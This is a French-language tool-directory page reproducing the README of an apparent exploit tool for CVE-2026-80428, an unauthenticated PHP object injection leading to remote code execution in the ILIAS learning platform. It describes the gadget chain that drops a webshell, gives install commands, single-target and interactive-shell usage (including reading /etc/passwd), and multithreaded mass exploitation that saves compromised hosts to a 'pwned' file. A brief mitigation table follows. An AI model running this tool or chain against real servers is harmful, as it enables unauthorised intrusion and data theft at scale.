Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/hackfutsecroot/cve-2026-80428
Scanners de VulnérabilitésGénération de PayloadsExploitationExploitation d'Applications WebPost-ExploitationSécurité WebTests d'IntrusionOutil d'Accès à Distance
GitHubhackfutsecroot/cve-2026-80428

CVE-2026-80428

ILIAS ≤ 9.21 / 10.9 / 11.2 — Injection d'objet PHP non authentifiée (RCE)

Voir le dépôt
212il y a 28 joursPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Typing SVG

CVE ILIAS Type Python License



🚨 ILIAS ≤ 9.21 / 10.9 / 11.2 — Injection d'objet PHP non authentifiée (RCE)

CVE-2026-80428

Vecteur : Point de terminaison de déconnexion back-channel Shibboleth
Impact : Exécution de code à distance complète en tant qu'utilisateur du serveur web
Gravité : 🔴 CRITIQUE



📖 Table des matières

  • 🔍 Aperçu
  • ⚙️ Chaîne de vulnérabilité
  • 🎯 Versions affectées
  • ✨ Fonctionnalités
  • 📦 Installation
  • 🚀 Utilisation
    • Exploitation d'une cible unique
    • Shell interactif
    • Exploitation de masse
  • 📁 Format de la liste de cibles
  • 🖼️ Captures d'écran
  • 🛡️ Atténuation
  • 📢 Canaux & Communauté
  • ⚠️ Avertissement

🔍 Aperçu

CVE-2026-80428 est une vulnérabilité critique d'injection d'objet PHP non authentifiée affectant le système de gestion de l'apprentissage ILIAS. En enchaînant une primitive d'empoisonnement de session dans ltiauth.php avec un appel unserialize() non sécurisé dans shib_logout.php, un attaquant peut parvenir à une écriture arbitraire de fichiers et finalement à une exécution de code à distance (RCE) — le tout sans authentification.


🎯 Paramètre📋 Valeur
ID CVECVE-2026-80428
TypeInjection d'objet PHP → RCE
Authentification requise❌ Aucune
Vecteur d'attaqueRéseau (HTTP/HTTPS)
Score CVSS9.8 (Critique)

⚙️ Chaîne de vulnérabilité

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[💀 Webshell Dropped]
    F -->|4. Execute| G[🔓 RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

Étape par étape :

  1. ltiauth.php stocke une charge utile sérialisée dans la session PHP sans validation.
  2. shib_logout.php traite une requête SOAP Shibboleth LogoutNotification forgée et appelle unserialize() sur les données de session.
  3. Le gadget GuzzleHttp\Cookie\FileCookieJar invoque file_put_contents() pour déposer un webshell PHP à un emplacement contrôlé par l'attaquant.

🎯 Versions affectées

🏷️ Branche❌ Vulnérable✅ Corrigée
9.x≤ 9.21≥ 9.22
10.x≤ 10.9≥ 10.10
11.x≤ 11.2≥ 11.3

✨ Fonctionnalités

🔥 Cœur

  • ✅ Exploitation non authentifiée
  • ✅ Mode cible unique (exploit)
  • ✅ Pseudo-shell interactif (shell)
  • ✅ Exploitation de masse avec multiprocessing (mass)

💎 Confort d'utilisation

  • 🎨 Sortie entièrement colorée en ANSI
  • 🔄 Repli automatique des chemins
  • 🧠 Détection de version et vérification des correctifs
  • 📝 Sauvegarde automatique des cibles vulnérables
  • 🌐 Prise en charge d'un en-tête Host personnalisé
  • 🔒 Prise en charge du TLS hérité

📦 Installation

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

Prérequis :

  • Python 3.8+
  • requests
  • urllib3

🚀 Utilisation

python3 CVE-2026-80428.py <mode> [options]

📌 Exploit sur cible unique

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

Options :

OptionDescriptionPar défaut
--portPort cible443
--pathDocroot ILIAS sur le disque/var/www/ilias/public
--host-headerEn-tête Host personnalisé—
--timeoutDélai d'expiration de la requête (s)30

💻 Shell interactif

python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

🚀 Exploitation de masse

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

Options :

OptionDescriptionValeur par défaut
-l, --listObligatoire — Fichier de liste des cibles—
-t, --threadsWorkers simultanés20
-o, --outputFichier de sortie pour les cibles vulnérablesilias_vuln.txt
--pathDocroot ILIAS/var/www/ilias/public
--host-headerEn-tête Host personnalisé—
--timeoutDélai d'expiration des requêtes (s)30

📁 Format de la liste des cibles

Créez un fichier targets.txt :

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

Formats pris en charge :

  • host
  • host:port
  • http://host
  • https://host:port
  • host/path (chemin supprimé)

🖼️ Captures d'écran

🎬 Sortie du scan de masse

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

🛡️ Atténuation

Pour les défenseurs et les administrateurs système :

🛠️ Action📝 Détails
🔼 Mettre à niveau ILIAS9.22 / 10.10 / 11.3 ou version ultérieure
🚫 Désactiver ShibbolethSi non utilisé — supprimer shib_logout.php
🧱 Règles WAFBloquer les charges utiles SOAP LogoutNotification malformées
📂 Restreindre l'accès en écritureLa racine web ne doit pas être accessible en écriture par www-data
🔍 SurveillerRechercher des fichiers .php inattendus dans les répertoires upload/cache
Télécharger l’outil